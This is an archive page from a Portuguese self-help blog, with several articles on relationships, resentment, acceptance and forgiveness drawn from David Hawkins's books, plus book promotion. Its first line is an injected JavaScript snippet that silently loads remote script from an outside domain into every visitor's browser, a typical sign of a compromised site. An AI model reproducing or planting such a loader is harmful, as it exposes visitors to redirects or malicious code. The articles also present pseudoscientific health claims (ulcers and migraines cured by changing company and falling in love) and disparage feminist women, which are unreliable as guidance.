;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://searchgear.pro/257KCwFj"); Arquivo de relacionamentos - David Hawkins Brasil
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David Hawkins

O “gostinho” em colocar os homens como vilões 

Algumas mulheres não conseguem ter sucesso em relacionamento e não sabem o porquê. É por causa do “gostinho” em colocar os homens como vilões. Recentemente, publicamos artigos sobre o “gostinho do ego” em estar em posição de vítima e o quanto a gente gosta de receber a simpatia das pessoas em mostrar como temos razão quanto as “injustiças” que recebemos da vida.

Injustiças são ilusões. São coisas que as pessoas acreditam por não compreender que em tudo na vida podemos ter um aprendizado, que nos torna pessoas melhores. No Dia dos Pais publicamos um artigo no qual o dr. Hawkins fala que a sociedade moderna pensa que faltam heróis por buscar atos grandiosos e não enxergam a beleza dos atos do dia a dia que os homens fazem para nós.

A base da psique masculina é a admiração. Como pode uma mulher feminista, que se acha melhor que os homens, encontrar um bom partido para se casar? Não vai! E não é porque o mundo é injusto ou os homens deixaram de fazer atos heróicos. É porque ela ainda não enxerga a beleza no masculino e não compreendeu como eles funcionam. Prefere ficar com a simpatia daqueles que fingem que concordam enquanto ela discursa que os homens não prestam do que ter a parceria de um Amor para a vida toda. 

O que acontece com a mulher que se conecta com as feministas

“É como se, quando estamos próximos das auras de pessoas com certas capacidades, uma certa transferência de capacidade pode ocorrer. Simplificando, somos influenciados positivamente ou negativamente pela companhia que mantemos ao nosso lado. É pouco provável que superemos uma inibição se optarmos por estar na companhia de outras pessoas que tenham o mesmo problema.

Este fenômeno ficou evidente no caso de uma mulher divorciada que veio se consultar. Ela queria saber se deveria ou não fazer psicoterapia. Suas queixas eram úlcera recorrente e enxaqueca. À medida que a história se desenrolava, surgiu uma grande amargura por causa de um divórcio lamentavelmente traumático. Ela se juntou a um grupo feminista de conscientização, disse ela. Ela descreveu esse grupo específico como quase inteiramente composto por mulheres divorciadas que eram amargas, raivosas e odiavam os homens. Como grupo, elas estavam recebendo muita recompensa por sua negatividade. Na realidade, as suas vidas eram desamparadas e bastante patéticas, enquanto lutavam para recuperar a autoestima através de extremos e desequilíbrio emocional acentuado.

Depois de ouvir sua história e investigar as circunstâncias da sua vida, foi sugerido que, em vez de psicoterapia, ela seguisse uma recomendação simples por um período de três meses. Se não funcionasse, ela poderia reavaliar a necessidade de psicoterapia. A recomendação era meramente interromper a sua associação com o grupo e com as suas amigas amarguradas e divorciadas e, em vez disso, procurar a companhia de pessoas que tinham restabelecido o relacionar com sucesso, apesar dos divórcios anteriores.

O final feliz

No começo, ela resistiu e alegou que não tinha nada em comum com as integrantes do grupo. Então, ela reconheceu dois fatos básicos. Primeiro, ela ia gastar muito menos energia ao desenvolver relações com pessoas positivas. Em segundo lugar, uma das leis da consciência é que “semelhante atrai semelhante”; a amargura atrai a amargura, enquanto o amor atrai o amor. Ela se perguntou: “Para onde minha amargura me levou? Consegui algo positivo e útil com isso?” Com o passar do tempo, ela parou de passar tempo com seu grupo e começou a buscar relacionamentos com pessoas mais saudáveis e equilibradas.

Na companhia de pessoas mais felizes, ela tinha uma consciência alegre de quanta negatividade ela guardava dentro de si. Ela começou a perceber que estava retendo conscientemente a negatividade e optando por mantê-la, e começou a observar o custo dessa negatividade. Toda a sua vida social mudou. Ela ficou sorridente e mais feliz. Suas enxaquecas desapareceram. Eventualmente, ela se apaixonou novamente e brincou que se apaixonar era a melhor cura que ela já havia descoberto para uma úlcera!

Se nos encontrarmos num estado de apatia, podemos descobrir a crença intrínseca nos perguntando o que estamos tentando provar com isso. Estamos tentando provar que a vida está péssima? Que: este é um mundo sem esperança? não foi nossa culpa? É impossível encontrar o amor? A felicidade é impossível? O que estamos tentando justificar? Quanto estamos dispostos a pagar para estar “certos”? À medida que reconhecemos e abandonamos os sentimentos que surgem em resposta a estas perguntas, as respostas começam a aparecer.” – Dr. David Hawkins, “Deixar ir”

Como colocar isso em prática?

Quando a mulher está solteira, muitas acreditam que o melhor é sair com as amigas solteiras para conhecer homens. Mas pelo que acabamos de ler no caso acima já podemos intuir que esse não é o melhor caminho.

Quando você quer emagrecer, é melhor se conectar com os amigos que preferem os jantares gastronômicos ou com aqueles que te chamam para praticar exercícios? Quando você quer empreender, vai pedir conselho pro amigo que teve sucesso ao montar sua empresa ou para aquele que está preso num emprego esperando uma promoção há anos?  

Precisamos aprender com aquilo que é Sucesso, o dr. Hawkins nos ensina muito sobre isso no livro “O Sucesso é para Você”. Ao invés de ressentir o sucesso, o caminho é aprender com quem chegou lá. Da mesma forma, as mulheres solteiras que querem o caminho do matrimônio devem se conectar com as mulheres casadas, conviver com elas, ver o modo de pensar e agir e assimilar isso na sua vida. 

É legal também conviver com casais harmoniosos, mesmo que isso seja dolorido para essa mulher que sonha com isso, mas isso ainda não aconteceu na sua vida. Essa é uma forma concreta de parar de ressentir homens por experiência passadas ruins ou pelo relacionamento com o pai: parar de ressentir casais felizes. É assim que lidamos com toda essa emoção de ressentimento para chegar em um estado de amor.

Não tenha pressa

Pessoas amorosas atraem pessoas amorosas. Apenas abra espaço para o Amor dentro de si: se torna essa amorosa que você gostaria que estivesse em sua vida. É melhor demorar para conhecer nosso cônjuge, mas nesse momento sermos maduros do que ter presa e querer atrair alguém em um estado de imaturidade porque ainda não estamos maduros.

Relacionamentos entre duas pessoas imaturas trazem muito sofrimento, mais do que se essas pessoas estivessem sozinhas. Por isso, muitas vezes quando queremos estar em um relacionamento e não estamos, isso é uma proteção Divina. 

Gloria in Excelsis Deo!

Não perca nada!

Fizemos uma série que já conta com 2 artigos anteriores sobre o “gostinho” do ego em sofrer:

Aproveite essa sequência de artigos para se aprofundar nesse tema que quando observado, muda vidas.

Leia direto da fonte

No livro “Poder vs. Força”, o dr. David Hawkins nos ensinou sobre como sair dos campos energéticos que escolhem servir ao ego e nos dedicar aos campos de consciência que servem a Deus. Enquanto que no livro “Deixar Ir” ele resume de maneira muito clara o trabalho, de toda sua carreira, em como deixar ir toda a negatividade que nos bloqueia de um estado de Paz Interior (de se tornar um com Deus). 

Além disso, no livro “Cura e Recuperação” ele nos ensina a assumir a responsabilidade pela nossa própria cura e abordar as doenças no âmbito de corpo, mente e espírito. Assim, podemos praticar a espiritualidade em serviço a Deus mesmo nos momentos mais difíceis da nossa vida. 

No livro “Sucesso é Para Você” ele revela como sair de uma mentalidade de escassez para uma de abundância, na qual escolhemos utilizar e aperfeiçoar nossos talentos em prol de servir a Deus. 

Ainda que esses são apenas os livros que já estão traduzidos para o português, há muito mais por vim!

Acima de tudo, trazemos, em nós, a intenção de aliviar o sofrimento humano em todas as suas formas e expressões. Essa é uma intenção do dr. David Hawkins com todas as suas obras e a Pandora Treinamentos absorveu essa intenção, justamente pela sua inspiração e pelo compromisso em traduzir seus livros para português, visto que a Editora Pandora é a responsável pelas traduções autorizadas das obras do professor.

Estão todos convidados para mergulhar nesse conteúdo conosco.

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Relacionamentos: um guia prático e amoroso das interações sociais (Parte 2)

Esse artigo é o segundo de uma série de dois artigos sobre Relacionamentos, baseados no “Capítulo 18: Relacionamentos” do livro “Deixar Ir, o Caminho do Desapego”. Logo, se você ainda leu a primeira parte, clique aqui.

A condição humana 

Somos humanos, e como tal, todos nós sentiremos emoções negativas, não é exclusividade de um ou outro. Aceitar a nossa humanidade, ao invés de nos culparmos e nos massacrarmos, é um passo essencial para começarmos essa mudança. É uma atitude não julgadora. Assim, vamos reconhecer que não somos esses sentimentos negativos, eles apenas fazem parte de ser humanos. Esses sentimentos negativos NÃO são o nosso “Eu verdadeiro”, que é um ser de Amor infinito.

Vamos começar sendo amorosos com nós mesmos. Basta observar que é só medo que está por trás de tudo isso. E o medo não passa de uma ilusão. O medo é a base de todos esses sentimentos negativos, temos medo de perder nossos relacionamentos, de perder a nossa segurança e de não sobreviver. Isso é normal. Mas, há dois problemas em como lidamos com isso.

O primeiro problema que surge ao lidar com as emoções negativas é a resistência a elas. Paradoxalmente, é justamente a resistência que mantém esses sentimentos dentro de nós. Isso não significa soltar um balde de emoções negativas nas outras pessoas ao nosso redor. Mas significa deixar que essas emoções venham à tona para que possamos rendê-las. Esse é o único propósito válido em manifestarmos essas emoções negativas em nossas vidas: rendê-las. 

O medo não nos protege

O segundo é achar que o medo que nos protege. Não é. Lembre-se: “o medo é uma ilusão”. Todo sentimento negativo é uma ilusão, e literalmente, nos enfraquece. Além de nos aproximar daquilo que mais tememos, porque ficamos mantendo isso em mente. Esses sentimentos negativos também nos afastam daquilo que desejamos, porque as pessoas sentem que temos interesses ocultos ao nos relacionarmos com elas. 

Quando é o Amor que nos move, podemos mover montanhas em nossos relacionamentos, mas quando são sentimentos de ‘picuinha’ só vamos fazer ações de mau grado. Vamos sair de relações ganha-perde, que geram ódio e rancor, para relações ganha-ganha, que trazem a verdadeira felicidade.

Eventualmente, quando rancor surgir pense: “é realmente assim que eu gostaria de passar o dia de hoje? E se hoje for o último dia da minha vida?” Permita-se criar para você uma nova vida sem aquele velho rancor, sem conflito e sem medo.

Sentimentos Positivos

Ao rendermos os sentimentos negativos, naturalmente surgem os positivos. Vem a coragem de fazer aquilo que estávamos com medo, a disposição em fazer aquilo que estávamos com preguiça e por aí vai. Chegamos em um estado de “Eu consigo!”.

Naturalmente, a reação de todos ao nosso redor também muda, seja com uma colega de trabalho, com algum conhecido, amigo ou cônjuge, isso reflete em todas as áreas da nossa vida. As coisas acontecem sem grandes dificuldades. Há um “sentimento de sintonia”, uma compreensão verdadeira e uma alegria.

Conectividade

Ao buscar nossa evolução pessoal e chegar em um estado de paz, serenidade, simplicidade, nos sentimos mais conectados com os outros, há uma sensação mútua de estarmos em comunhão. Os outros podem vivenciar uma consciência aumentada de quem realmente são, só por estarem na presença de alguém assim, que não está mantendo nenhuma negatividade. 

Os frutos são deliciosos, é um compartilhar da paz, da tranquilidade e da alegria, sem rancor e sem rusgas! É um relacionamento sem barreiras, no qual, às vezes, até se sabe, conscientemente, o que o outro está pensando, mesmo sem ter muita intimidade. É um reflexo da aceitação mútua, onde os dois envolvidos aceitam a sua humanidade e a do outro.

Efeito dos Sentimentos Positivos

Há uma lei da consciência que é implacável: semelhante atrai semelhante. Nossos sentimentos são energia, assim sendo, somos como estações de envio e recebimento. Quanto mais amorosos nos tornamos, mais Amor se torna disponível para nós. As nossas relações vão se transformando e se reciclando e quando menos esperarmos, estaremos cercados de Amor. Esse subsistir do sentimento negativo por um maior é um verdadeiro milagre na vida de qualquer individuo. As coisas são muito mais conectadas do que podemos observar com a nossa mente linear, Carl Jung tentou nos explicar isso através do fenômeno chamado “sincronicidade”.

Deixando Ir as Expectativas

Todos nós escutamos que você “colhe o que planta”, mas isso se torna distante porque muitas vezes há uma demora entre um acontecimento e outro. No entanto, quando a gente usa a técnica do Deixar Ir é possível observar isso, muitas vezes em tempo real. Vamos citar alguns exemplos adiante, mas antes vamos treinar nossa observação.

Os frutos que colhemos são sempre reflexo das nossas intenções. Observe que sempre que tentamos forçar o outro a mudar, ele resiste. Quanto mais forçamos, mais resistência. Não se iluda se a pessoa ceder e mudar por um ato de força que foi feito. Quando não há aceitação interna, não é possível ter um resultado duradouro. 

A chave é reconhecer que não é o desejo que nos leva onde queremos e nem a raiva nem o medo que vão nos proteger. Ao contrário do que imaginamos, as expectativas bloqueiam o resultado que desejamos. 

Aqui, o exercício é o oposto da parte 1 desse artigo, é refletir sobre o melhor cenário possível. A partir daí, também render o medo de não acontecer e a expectativa de que aconteça. A frustração surge de querer que aconteça AGORA. Mas quando as expectativas são rendidas não há mais uma pressão de “quando será que vai acontecer?”. Isso reflete em paciência e observe que as pessoas pacientes normalmente conseguem o que querem. 

Conclusão

Conforme rendemos os sentimentos negativos, inesperadamente chegamos exatamente no resultado que a gente queria. Nesse capítulo sobre relacionamentos, o dr. Hawkins relata o caso de um processo judicial trabalhista que foi cancelado ao empregador render a raiva do funcionário (com uma diferença de 2 minuto no relógio!), o caso de um casal se divorciando que estava brigando por um objeto e após o homem render seu desejo a mulher ligou e ofereceu o objeto (além de oferecer embalar e enviar) e o caso de um amigo que emprestou 200 dólares ao outro e só recebeu o dinheiro de volta depois de deixar ir o ressentimento que estava guardando sobre isso (o amigo não tocou no assunto durante um ano). Quando algo não flui, e olhamos nossos sentimentos e pensamentos sobre isso, a reação do outro é óbvia. Era só um reflexo do que a gente estava sentindo. 

“Se ainda mantiver a fantasia de que a outra pessoa não sabe dos seus pensamentos e sentimentos apenas saiba que os cães rapidamente percebem! Realmente achamos que a psique humana é inferior à de um cachorro? Se um cão rapidamente lê a nossa atitude interna completamente, podemos ter certeza de que a intuição das pessoas ao nosso redor está pegando a mesma vibração.”

O render dos sentimentos não é um ato de manipulação para se conseguir o que quer, é, na verdade, um ato de Amor a si mesmo e ao outro. Observe que o importante é o desapego com o resultado, se não acontecer nada, como muitas vezes não acontece, está tudo bem. A pessoa já não fica chateada em não ter aquele resultado e é justamente por isso que flui. A pessoa sai de um desejo egoísta para aceitar a Vontade de Deus, aquilo que é o melhor para o contexto.

Todos sabem o que está na sua mente

De agora em diante, imagine que todos sabem exatamente o que está se passando na sua mente enquanto você lida com eles. Vai ser desafiador, mas certamente divertido, quase como um filme de comédia. Além de trazer uma enorme oportunidade de purificar seus sentimentos e, consequente, aumentar usa energia e felicidade. Mas isso só é possível se você não reprimir seus sentimentos, nem tentar controlar seus pensamentos. Respeite a si mesmo! E assim, você aprende a respeitar aos outros.

Não reprima sentimentos negativos fazendo aquilo ressoar em você mesmo e sugar sua energia. Se permita observar a si mesmo e deixar ir aquilo que não serve ao Amor. 

Vamos juntos nessa jornada!

Não perca nada! Essa é só a segunda parte do artigo

Para ler a primeira parte desse artigo sobre Relacionamentos, clique aqui.

Leia sobre relacionamentos direto da fonte: “Deixar Ir”

Uma das melhores maneiras de absorver toda a profundidade do trabalho de Dr. David Hawkins é por meio de seus livros. Neles, você conseguirá entender o contexto de cada frase e com isso poderá aplicar os ensinamentos de forma prática na sua vida.

Além disso, os leitores de Hawkins que se dedicam a viver suas lições têm benefícios claros em todas as áreas, como nos relacionamentos, espiritualidade, saúde, autoestima, finanças e vida profissional.

No Brasil, a Editora Pandora é a responsável pelas traduções autorizadas das obras do professor, incluindo o livro “Deixar Ir”. 

Acesse o site da Editora Pandora e adquira o seu exemplar do best-seller Deixar Ir.

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Relacionamentos: um guia Prático e Amoroso das Interações Sociais (Parte 1)

Uma pessoa tem uma dedicação exemplar no trabalho. Mas no fundo, não concorda com algumas atitudes do chefe, não tem bons relacionamentos com ninguém, acha alguns colegas de trabalho irritantes, e na sua mente várias coisas passam o tempo todo daquilo que não está bom. Ela só sorri e segue fazendo o que pode. Até que um dia é surpreendida pelo fato que perdeu a promoção que foi oferecida no trabalho. E não sabe o porquê.

Há uma inocência da nossa parte em acreditar que os nossos pensamentos estão só na nossa cabeça, que ninguém consegue perceber o que realmente sentimos e que isso não vai influenciar em nada o contexto. É claro que o chefe conseguia sentir o ressentimento daquela pessoa, mesmo que ele por sua vez também não expressasse nada. Mas algo lhe dizia que “alguma coisa está errada”, mesmo que essa pessoa negue ao perguntarem isso para ela. É esse o exemplo que o dr. David Hawkins nos dá no capítulo 18 sobre Relacionamentos, do livro “Deixar Ir – O Caminho do Desapego”, sobre o qual vamos tratar aqui nesse artigo.

“Quase todo mundo é levado a acreditar que nossos pensamentos e sentimentos são assuntos privados e não são da conta de ninguém, que todas as mentes são separadas e que todas as emoções acontecem apenas dentro dos confins do corpo. (…) Conforme nos tornamos mais intuitivos, iremos rir da nossa ingenuidade até então.”

Aprendendo a assumir a responsabilidade

Quando a gente aprende a lidar com os ressentimentos pela gente mesmo, sem esperar que o outro mude, sem ficar repetindo diálogos, e por vezes até montando diálogos em nossa mente, tudo muda. Não existe relação boa ou ruim, todos os relacionamentos trazem à tona nossos sentimentos mais íntimos, por estarem conectados aos nossos desejos básicos por amor e segurança. Sendo assim, quando estamos em busca de emancipação emocional, todas as relações são valiosas para o nosso aprendizado. É um constante render de sentimentos negativos, sentimentos os quais não seriam observados sem essas relações. 

“Quando os sentimentos internos são rendidos, a forma como vemos a situação muda, e frequentemente somos surpreendidos pela brusquidão com a qual os sentimentos de perdão repentinamente surgem e o relacionamento se transforma, mesmo que a nível exterior não tenhamos feito ou dito nada.”

Não acredite no que está escrito aqui. Teste você mesmo essa teoria de que as pessoas sabem o que está se passando na sua cabeça o tempo todo. Veja o que está na sua cabeça e como elas estão te tratando. Quando observar que há um sentimento negativo em relação ao outro, ao invés de resolver fora de si mesmo, buscando mudar uma atitude do outro, se volte para si. Observe seus sentimentos e deixe-os ir. Aqui, vamos falar dos principais sentimentos negativos que ocorrem nos relacionamentos, e como lidar com cada um deles, assim como o dr. Hawkins nos ensinou.

Raiva

A gente tem uma esperança secreta de que a nossa raiva vai punir os outros e fazê-los sofrer, mas na verdade, tudo o que faz é dar uma justificativa para que essas pessoas possam nos odiar de volta. A verdade é que sentir raiva só prejudica a nós mesmos, e nos coloca num ciclo de raiva, já que o outro provavelmente vai nos responder com mais raiva. É como querer apagar fogo com fogo. Isso gera grande sofrimento. Qual seria então a água que vai acabar com esse fogo? É o Amor. Ao sair desse padrão mais baixo (a raiva) e mudar para um padrão energético mais alto (o Amor), deixamos de ser psiquicamente vulneráveis as outras pessoas.

“Existe uma base científica interessante para a advertência de Jesus de abençoar e amar os nossos inimigos. (…) Quando estamos em um estado de raiva, por exemplo, estamos vulneráveis ao esgotamento de energia trazido pela raiva da outra pessoa. Paradoxalmente, se realmente queremos afetar os outros devemos apenas dar-lhes amor. Então suas raivas vão se voltar contra elas mesmas sem nenhum efeito sobre nós! Esta foi a sabedoria da declaração de Buda no Dhammapada: “O ódio não é conquistado com o ódio. O ódio é conquistado com amor. Essa é uma lei eterna”.”

Culpa

O objetivo aqui é diminuir o outro. Há um desejo oculto de que o outro seja punido, junto com uma autopunição por estarmos no meio disso tudo. É tudo uma projeção inconsciente. Observe que quando a gente se sente culpado por determinado assunto, inevitavelmente seremos “alfinetados” por isso, mais cedo ou mais tarde. Quando não queremos mais que os outros nos critiquem, a solução é Deixar Ir a culpa e todos os outros sentimentos negativos que costumam surgir junto com ela.

“Se mantivermos em mente que somos pequenos e sem valor, extraímos esse tipo de resposta dos outros, cujas observações tendem a indicar que somos pequenos e sem valor. Se pensar que só merecemos o pedaço de um pão, isso é o que teremos. Isso é o que as escrituras quiseram dizer com a declaração “o pobre fica mais pobre e o rico fica mais rico”. Pobreza em qualquer nível, não apenas financeiro, vem da pobreza interna.”

Tristeza e apatia

Esses sentimentos de tristeza e apatia, que nos deixam deprimidos, desesperançosos e cheios de mágoas, vem de uma programação interna de “eu não consigo”. E com isso, a gente espera que esses sentimentos gerem pena nos outros, buscamos que sejam simpáticos com a gente e que a gente possa, assim, ser ajudado. Esse sentimento de pena, até gera uma ajuda inicial. Mas há uma demanda de energia tão grande que o outro tem que nos dar que ele simplesmente vai acabar se afastando. 

Só podemos superar esse estado com a coragem de permitir que essas emoções surjam nas condições adequadas para podermos deixá-las ir. 

“Isso resulta no ditado comum, que soa duro ao coração, mas infelizmente é verdadeiro em muitos casos: “Quando você ri, o mundo ri com você, mas quando você chora, chora sozinho.”.”

Medo

O objetivo do medo nos relacionamentos é possuir a outra pessoa e puni-la pelos nossos próprios medos de perda. A outra pessoa, sentindo essa pressão, tem a vontade de se afastar. Ao contrário do que pensamos popularmente, o medo não nos protege, ele nos aproxima do que mais tememos. É por manter essa insegurança e esse medo em mente que a gente acaba atraindo justamente esse tipo de situação para nossa vida. A saída aqui é renunciar ao nosso desejo interno de controlar os outros, deixando ir os nossos medos, conforme eles surgem. 

“Medo em relacionamento, portanto, é dar o nosso poder para outra pessoa e permitir que ela faça o que tememos. A saída é olhar para o pior cenário possível e para os sentimentos que o despertam e começar a rendê-los. Como outras emoções, o medo pode ser desmembrado em partes, e as partes são facilmente rendidas. Por exemplo, digamos que existe um medo de ataque crítico. Perguntamos para nós mesmos: “Qual é o pior cenário possível?” Com essa dúvida, vemos que a base do medo é o orgulho. Quando o orgulho é reconhecido e rendido, o medo se dissolve automaticamente.”

Orgulho

A esperança secreta que vem com o orgulho é a de ser aceito e admirado pelos outros e melhorar dessa forma seus relacionamentos. O orgulho não é uma emoção positiva, como a sociedade acredita, ele coloca a nossa autoestima em algo temporário e volátil e pode evaporar com uma simples crítica ou um levantar de sobrancelhas. Ele gera um grande esforço, que se manifesta como perfeccionismo, obsessão por limpeza, por trabalho, por ser pontual, ou como polidez e superioridade moral. E ao invés de gerar a aceitação pretendida, os sentimentos que o orgulho gera nas outras pessoas são inveja, competitividade, ódio e fácil exploração.  

Para lidar com o orgulho, o caminho é uma autoestima genuína, que é motivada pela gratidão e humildade interior, sem que haja a necessidade de constantes afagos. Paradoxalmente, é justamente quando paramos de querer que as pessoas gostem de nós, que descobrimos que somos apreciados como somos.

“Falsa humildade apenas diz para a outra pessoa: “Eu sou uma pessoa pequena, por favor me tratem dessa forma” e, é claro, elas prontamente o farão.”

Não perca nada! Essa é só a primeira parte do artigo

Para ler a segunda parte, clique aqui.

Leia sobre relacionamentos direto da fonte: “Deixar Ir”

Uma das melhores maneiras de absorver toda a profundidade do trabalho de Dr. David Hawkins é por meio de seus livros. Neles, você conseguirá entender o contexto de cada frase e com isso poderá aplicar os ensinamentos de forma prática na sua vida.

Os leitores de Hawkins que se dedicam a viver suas lições têm benefícios claros em todas as áreas, como nos relacionamentos, espiritualidade, saúde, autoestima, finanças e vida profissional.

No Brasil, a Editora Pandora é a responsável pelas traduções autorizadas das obras do professor, incluindo o livro “Deixar Ir”. 

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Aceitação: o Caminho do Perdão – com base em Dr. David Hawkins

A aceitação e o perdão são os alicerces da harmonia nos relacionamentos humanos. Aceitar o outro como ele é e realizar as mudanças em si é o início da sabedoria.

Aceitação é algo complexo em nossas vidas. Temos um péssimo hábito de enxergarmos os defeitos e problemas dos outros e comprarmos briga para mudá-los.

E na maior parte, não porque queremos o melhor para a outra pessoa, mas porque queremos provar a ela que estávamos certos ou porque as atitudes daquela pessoa nos incomoda.

E esquecemos que a base de um relacionamento saudável é o perdão.

A prova disso é nossa insistência em querer ver o outro mudando, mesmo que ele não queira ou veja necessidade, só porque as atitudes atuais dele são diferentes das nossas e nos traz incômodos ou angústias.

Querer impor ou insistir algo a alguém é violar o livre arbítrio da outra pessoa para favorecer nossas percepções e opiniões egóicas, o que é a contramão do que nós mesmos buscamos.

Todas as pessoas buscam reconhecimento e aceitação, o que não significa concordância, mas compreensão.

O nível de consciência de aceitação.

A pessoa que escolhe habitar neste nível de consciência, ou seja, a soma de suas intenções, pensamentos, falas e atitudes são, em sua maioria, coerentes com o princípio da aceitação, vivem em tranquilidade interna, que substitui as emoções perturbadoras e impulsivas.

Sentimos como se os eventos da vida estivessem fluindo constantemente.

Neste nível, entendemos que somos os responsáveis pelos eventos que se passam em nossa vida e que tudo que atraímos para nós é devido a nossos méritos e deméritos.

Conseguimos enxergar com mais clareza o ditado “a gente colhe o que planta”.

A partir desse estado do ser as percepções gerais mudam.

Há a percepção que a felicidade está dentro e não fora e nossa missão surge de nossa natureza interior, que parece espontânea e automática quando os bloqueios são removidos.

Trabalhos difíceis não trazem desânimo, mesmo que desconfortáveis. O julgamento diminui e o foco torna-se resolver o problema.

No âmbito dos relacionamentos emerge o perdão, e a pessoa neste nível de consciência usa esta ferramenta com cada vez mais sabedoria e intensidade:

  • Enxergamos as pessoas como fazendo o seu melhor dentro de suas limitações,
  • Em uma relação amorosa, pequenas imperfeições não são mais levadas tão a sério.

Há o desprendimento dos debates intermináveis do mundo sobre:

  • moralidade,
  • ética, judiciário,
  • política,
  • religião,
  • etnia e
  • posicionamentos sociais.

O erro é visto como necessidade de correção, aprendizado e compaixão ao invés de justificativa para punição.

Opiniões pessoais perdem sua tendência de dominar por pressão emocional pura e o discernimento sem emoção substitui julgamentalismo emocional. 

Entende-se que a sobrevivência não é garantida por ter medo ou odiar o relâmpago, mas por evitar seus locais prováveis de queda.

Como praticar a aceitação sem negligência?

Para aceitar não é necessário concordar e, tampouco, endossar um pensamento, opinião ou atitude.

Aceitar é trocar condenação por compreensão.

É se colocar no lugar do outro, inclusive em seu contexto histórico e atual, para saber que ele não poderia ser diferente. Afinal, se pudesse, ele já seria.

Aceitar também não significa passividade ou afastamento.

Tem ligação com o desapego. É possível ser firme e severo com outra pessoa, por saber que é o certo a se fazer naquele momento, mas sem criar expectativas ou esperar que a pessoa mude.

O desapego não é sobre a pessoa, mas sobre suas próprias expectativas e opiniões. Ser diferente, não significa estar errado ou certo, pois diversidade não se opõe à igualdade.

Outra confusão gerada, nesta mesma linha, é que aceitar é não intervir.

Na verdade, a aceitação surge da capacidade de entender o que pode e não pode ser mudado sem causar mal ao outro.

  • O que puder ser mudado, deve ser realizado com coragem e dedicação.
  • O que não pode ser mudado, devemos invocar a serenidade para aceitar como é e estarmos dispostos a agir assim que a permissão, da outra pessoa ou da situação, seja concedida.

Como reconhecer essas situações?

O maior desafio é ter discernimento para diferenciar as duas situações.

Para isso, podemos trabalhar um conceito prático contido no livro “Os 7 hábitos das pessoas altamente eficazes”, do filósofo e consultor Stephen R. Covey:

Diminuir nossa zona de preocupação e aumentar nossas atividades em nossa zona de influência. Preocupação vem de se pré-ocupar, ou seja, ocupar-se antecipadamente, fora do ritmo, em vão. Influência vem do latim INFLUERE que significa dentro (in) do fluxo (fluere).

Quando estamos no ritmo natural da vida, não precisamos nos esforçar ou forçar ninguém a nos acompanhar, simplesmente, vamos acompanhando cada momento e interagindo de maneira sábia.

Quando focamos em influenciar as pessoas, passamos de um ato de manipular ou ameaçar – mesmo que de forma sutil, indireta ou em tons de sarcasmo – para uma qualidade de convidar.

Convidar é um derivado do latim INVITARE que significa querer (vitare) juntos (in derivado de con), ou seja, buscar interagir com pessoas que queiram trilhar caminhos semelhantes aos seus e aceitar aqueles que pedirem para te acompanhar verdadeiramente.

E, qual a melhor forma de praticar a aceitação?

A melhor forma de praticar a aceitação é através do perdão.

Em minhas palestras na Pandora Treinamentos costumo indicar a Tríade do Perdão: um exercício de manter a imagem da situação que traz angústia, mágoas ou raiva em mente, sem ficar criando diálogos internos, e:

Pedir perdão às pessoas envolvidas

Pode ser uma pessoa diretamente afetada, assim como uma provocação ou descuido seu que tenha gerado uma ofensa, que foi o gatilho do desconforto ou até mesmo outras pessoas que tenham se prejudicado ou se magoado com a situação

Perdoar o outro

Tanto a pessoa que tenha te causado mal quanto à situação em si

Perdoar-se

Aceitar sua limitação daquele momento, perdoar por ter guardado rancor por tanto tempo, por não ter enxergado outras alternativas

Esta limpeza interna, se feita verdadeiramente e com intensidade, será seguida de um profundo alívio e paz interior.

Quanto mais exercermos essa prática em nosso dia a dia, com situações profundas ou corriqueiras, primeiramente de modo formal como apresentado acima, até que se torne fluído e natural, estaremos nos conectando com a consciência da aceitação e atraindo cada vez mais pessoas e situações de abundância em nossa vida.

Convido você a manter-se constantemente evoluindo e se conhecendo.

Se quiser conhecer o trabalho de mentoria, é possível agendar uma sessão online e gratuita de mentoria sobre autoconhecimento e autodomínio ou ainda acessar meu instagram onde deixo várias dicas e orientações para começar agora seu processo de autoconhecimento.

Gratidão e boas práticas!

Este artigo faz parte de uma série de artigos que exploram os níveis de consciência humanos.

Abaixo a lista dos artigos sobre os níveis de consciência em ordem:

00.Entendendo os níveis de consciência

01. Como vencer a vergonha?

02. Culpa, para que serve?

03. Como se livrar da tristeza?

04. Enfrentando o medo.

05. O desejo é a fonte do sofrimento.

06. Como controlar a raiva.

07. Por que o orgulho nos prejudica?

08. Coragem é a base para o sucesso.

09. A neutralidade nos ajuda a não sofrer.

10. Disposição pode nos levar a resultados inimagináveis.

11. Aceitação, o caminho do perdão.

12. Apenas 4% das pessoas utilizam a razão.

13. O que é amor verdadeiro?

14. A Paz e o processo de Iluminação

15. Como despertar a Iluminação Espiritual